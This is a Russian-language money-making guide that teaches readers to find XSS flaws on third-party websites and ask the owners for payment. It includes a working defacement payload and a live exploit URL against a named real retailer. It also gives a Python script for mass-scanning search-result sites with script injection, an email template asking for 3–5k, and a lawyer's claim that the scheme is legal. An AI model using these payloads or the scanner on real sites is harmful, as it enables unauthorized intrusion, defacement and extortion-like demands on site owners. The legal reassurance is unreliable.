Зарабатываем на XSS уязвимости
И так, зарабатывать мы с вами будем на поиске XSS уязвимости на сайтах.
1. Ищем сайт с XSS уязвимостью
2. Связываемся с поддержкой сайта
3. Просим у них деньги за обнаружение уязвимости
Для начала вам необходимо ознакомиться с тем, что такое XSS уязвимость
XSS (Cross-Site Scripting) - уязвимость позволяющая вам выполнять свой JS (JavaScript) код на чужом сайте, за счёт чего вы можете взламывать его пользователей, красть их данные, подменять код сайта и многое другое))
Для проверки сайта на наличие XSS уязвимости достаточно вставить в поисковую строку следующий JS код.
<script>alert("XSS")</script>
Для примера возьмём сайт stolplit.ru:
Т.е если на сайте появляется уведомление с надписью «XSS», то на нём есть уязвимость.
Самый простой способ эксплуатации XSS уязвимости - подмена кода сайта. Для неё достаточно просто вставить следующий JS код в поисковую строку
<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'>C 01.05.2024 сайт перестаёт работать</H1>";</script>
Опасность тут в том, что любой кто перейдёт по этой ссылке на сайт, увидит именно наш html код, а не html код сайта. Можете перейти по ссылке ниже и убедиться в этом:
- https://www.stolplit.ru/internet-magazin/search/?is_submit=Y&product_title=<script>document.body.innerHTML+=+"<H1+style='color:+black;+text-align:+center;'>C+01.05.2024+сайт+перестаёт+работать</H1>";</script>
Сайты с XSS уязвимостью можно искать и вручную, но, тогда большая часть нашего времени будет уходить впустую. Я написал python скрипт для массовой проверки сайтов на наличие XSS уязвимости.
1. Загружаем установочный файл Python3 с официального сайта.
https://www.python.org/downloads/release/python-3115/
2. Запускаем установочный файл и следуем иснтрукциям по установке.
при установке необходимо выбрать опцию "Add Python 3.x to PATH".
3. После установки Python3, открываем командную строку (cmd), и вводим следующие команды
4. Создаем папку, например WORK. В этой папке создаём 2 файла - main.py и site.txt
5. В файл main.py необходимо вставить код предоставленный ниже
from colorama import init, Fore, Back, Style from bs4 import BeautifulSoup as bs import requests from urllib.parse import urljoin from pprint import pprint import time headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36" } init(autoreset=True) def stop(stop_time): now_time = time.time() if stop_time - now_time <= 0: return True def save(url): file = open("goods.txt", "a") file.write(f"{url}\n") file.close() def scan_xss(url, stop_time, timeout): stop_time = time.time() + stop_time html = requests.get(url, headers=headers, timeout=timeout) soup = bs(html.content, "html.parser") forms = soup.find_all("form") js_script = "<Script>alert('XSS')</scripT>" is_vulnerable = False for form in forms: if stop(stop_time): break details = {} action = form.attrs.get("action") method = form.attrs.get("method", "get") if action != None and not(action.startswith("javascript")): action = action.lower() method = method.lower() else: break inputs = [] for input_tag in form.find_all("input"): input_type = input_tag.attrs.get("type", "text") input_name = input_tag.attrs.get("name") inputs.append({"type": input_type, "name": input_name}) details["action"] = action details["method"] = method details["inputs"] = inputs form_details = details target_url = urljoin(url, form_details["action"]) inputs = form_details["inputs"] data = {} for input in inputs: if input["type"] == "text" or input["type"] == "search": input["value"] = js_script input_name = input.get("name") input_value = input.get("value") if input_name and input_value: data[input_name] = input_value if form_details["method"] == "post": content = requests.post(target_url, data=data, headers=headers, timeout=timeout).content.decode('latin-1') else: content = requests.get(target_url, params=data, headers=headers, timeout=timeout).content.decode('latin-1') if js_script in content: save(url) print(f"{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}\n[*] Form details:") pprint(form_details) if __name__ == "__main__": urls = open('site.txt', 'r', encoding="UTF-8") for element in urls: url = element.replace("\n", "") print(f"\033[37m{url}") # Максимальное время проверки одного сайта в секундах (не менее 180) stop_time = 180 # Максимальное время ожидания ответа от сайта в секундах (не менее 15) timeout = 20 try: scan_xss(url, 180, 20) except: pass # ваще похуй urls.close()
Для того, что бы скрипт начал искать уязвимость на сайтах необходимо вставить список сайтов в файл site.txt, открыть в CMD папку WORK и ввести следующую команду:
После запуска скрипт начнёт проверять сайты из файла на наличие XSS уязвимости, если он обнаружит сайт с уязвимостью, то выведет красным цветом его url и белым дополнительную информацию (где конкретно он нашёл уязвимость), а так же запишет url сайта в файл goods.txt.
Важное уточнение: возможны ложные срабатывания скрипта (может вывести сайт без уязвимости), поэтому всегда перепроверяйте сайт вручную.
Откуда брать сайты?
Самое сложное в этом способе заработка - достать список сайтов. Я расскажу вам о способе которым сам пользовался:
Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например https://pr-cy.ru/tools/check-keywords/
Вводим произвольный поисковой запрос, например «Купить мебель с доставкой спб», указываем глубину поиска - топ 100, выбираем любой регион и жмём на кнопку «Проверить»
После недолгого ожидания мы получаем 100 ссылок, их нужно скопировать и вставить в файл site.txt.
После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. Если она и в правду есть, то вы ищите почту поддержки сайта и пишите на неё о том, что нашли на сайте опасную уязвимость.
Всё общение с поддержкой сайта сводится к отправке текста по шаблону, ниже привёл пример успешного диалога с поддержкой сайта.
Нарушает ли эта тема закон? (272 статью УК. РФ)
Ответ от юриста: «Как гласит Статья 272 УК РФ, Неправомерный доступ к охраняемой законом компьютерной информации, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование компьютерной информации. В нашем случае доступ к какой-либо информации не осуществляется, мы показываем лишь способ. XSS уязвимость позволяет выполнять код на стороне клиента, то есть публичной подмены кода сайта не осуществляется. XSS это не взлом и мы не сразу получаем доступ к информации как например sql, XSS это способ. Кроме того, исходя из субъективной стороны данного преступления, как таковой корысти в данном случае мы не имеем, это этичный хакинг (Хотя его даже хакингом назвать нельзя). Субъективная сторона предусматривает цель, мотив. Цели взлома сайта, его пользователей у нас нет. Мотив понятие большое, и то что мы лишь после того как отправили сообщение об обнаруженной уязвимости просим деньги, не говорит о том что мы хотели этого с самого начала, мы хотим получить благодарность за свою работу. Соответственно, заявить на нас что мы с корыстной взломали их сайт и требуем выкуп никто не сможет.»
Для устранения уязвимости достаточно фильтровать текст вводимый пользователем, например убирать из его запроса следующие символы: <, >, /, (, ). Если вы не имеете значительного опыта в веб разработке, то не беритесь за устранение уязвимости, есть риск только ухудшить ситуацию.
Здравствуйте, я нашёл достаточно опасную уязвимость на вашем сайте (домен сайта), продемонстрировать?
У вас на сайте XSS уязвимость, т.е сайт выполняет любой мой JS код на стороне пользователя. Это может привести к подмене кода сайта, краже данных пользователей, их аккаунтов или созданию фейковых уведомлений. Для устранения достаточно просто фильтровать данные вводимые пользователем, например убирать <, >, /, (, ) из запроса.
Вот один из самых простых примеров эксплуатации данной уязвимости - подмена HTML кода сайта (и стилей CSS)
формируем JS код
<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'><br>C 01.05.2024 сайт перестаёт работать</H1>";</script>
вставляем его в поисковую строку на вашем сайте, выполняем запрос и получаем результат
(Фото с выполнением JS кода на сайте)
Опасность тут в том, что любой кто перейдёт по ссылке увидит именно мой html код, а не html код сайта (можете перейти и убедиться)
(Ссылка на их сайт с выполняющимся JS кодом)
Дальше отвечайте в зависимости от развития диалога.
Спрашивают сколько перевести, какую сумму называть?
Я всегда называл 3-5к и получал эту сумму, наглеть и просить больше тут явно не стоит.